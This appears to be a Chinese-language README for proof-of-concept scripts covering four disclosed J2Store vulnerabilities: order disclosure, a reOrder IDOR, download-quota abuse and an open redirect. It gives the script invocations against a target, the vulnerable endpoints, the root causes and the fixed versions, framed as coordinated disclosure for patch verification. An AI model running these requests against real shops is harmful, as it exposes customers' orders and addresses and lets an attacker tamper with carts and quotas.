针对 com_j2store(J2Commerce J2Store)中四个漏洞的概念验证材料,由 Murrez 发现,并在以下版本中修复:
| 分支 | 已修复版本 |
|---|---|
| J2Store 3.x | 3.3.21 |
| J2Store 4.0.x | 4.0.21 |
| J2Store 4.1.x | 4.1.6 |
官方公告: J2Commerce 安全公告(2026-08-20)
测试版本: Joomla 5.x(本地实验室)上的 J2Store Pro 4.1.5。
仅限授权的安全研究和补丁验证。请勿针对你不拥有或未经明确许可测试的系统使用。
pip install -r requirements.txt
Python 3.10+
默认实验室基础 URL:http://127.0.0.1:9991
# CVE-2026-67359 — unauth order disclosure
python poc/CVE-2026-67359_expressconfirm.py --base http://TARGET --order-id ORDER_ID
# CVE-2026-67362 — open redirect (checks Location header)
python poc/CVE-2026-67362_open_redirect.py --base http://TARGET
# CVE-2026-67358 — cross-order download quota burn
python poc/CVE-2026-67358_updateHitCount.py \
--base http://TARGET \
--order-id YOUR_ORDER_ID \
--token YOUR_ORDER_TOKEN \
--victim-orderdownload-id 2
# CVE-2026-67360 — reOrder IDOR (requires Joomla login + CSRF)
python poc/CVE-2026-67360_reOrder.py \
--base http://TARGET \
--order-id VICTIM_ORDER_ID \
--username USER --password PASS
# Run all applicable unauthenticated checks
python poc/run_all.py --base http://TARGET --order-id ORDER_ID
最小 Burp/curl 重放:replay/
expressconfirm 订单泄露端点: GET /index.php?option=com_j2store&view=checkout&task=expressconfirm&order_id=…
当不存在活动的结账会话时,任何 order_id 都会在无需认证的情况下渲染快速结账确认页面(订单行项目、数量、价格、总计)。
根本原因: components/com_j2store/controllers/checkouts.php — expressconfirm() 使用请求提供的 order_id,且未进行所有权检查。
reOrder IDOR端点: GET /index.php?option=com_j2store&view=myprofile&task=reOrder&order_id=…&{csrf}=1
拥有受害者 order_id 的已认证用户可以触发重新下单:受害者的订单行项目被复制到攻击者的购物车;受害者的账单/收货地址 ID 被存储到攻击者的会话中。
根本原因: components/com_j2store/controllers/myprofile.php — reOrder() 验证了 CSRF 和登录状态,但未验证 $order->user_id。
updateHitCount 配额操纵端点: POST /index.php?option=com_j2store&view=myprofile&task=updateHitCount
拥有自己的有效 (order_id, token) 组合的访客或客户,可以在另一个订单的 orderdownload_id 上递增 limit_count。无需 CSRF 令牌。
根本原因: components/com_j2store/controllers/myprofile.php — 令牌仅对照调用者的订单进行校验;orderdownload_id 未绑定到该订单。
任务: carts.setcurrency、carts.addItem、carts.applyCoupon、carts.applyVoucher
Base64 编码的 redirect / return 参数被解码后传入 $app->redirect(),且未进行主机白名单校验。JRoute::_() 不会阻止绝对外部 URL。
根本原因: components/com_j2store/controllers/carts.php
厂商公告中列出的问题 1、2、3 和 5 — Murrez([email protected])。
经由 J2Commerce 与 Joomla 安全应急小组进行协调披露。
MIT — 参见 LICENSE。
| CVE | 问题 | 认证 | CVSS 4.0 | 严重性 |
|---|
| CVE-2026-67359 | 通过 expressconfirm 未授权获取订单行项目及总计 | 无 | 8.7 | 高 |
| CVE-2026-67360 | 跨客户 reOrder IDOR(受害者购物车/地址进入攻击者会话) | 低(已登录) | 8.7 | 高 |
| CVE-2026-67358 | updateHitCount 耗用其他客户的下载配额 | 低(访客订单令牌) | 5.3 | 中 |
| CVE-2026-67362 | 购物车任务中的开放重定向(setcurrency、addItem、applyCoupon、applyVoucher) | 无 | 5.1 | 中 |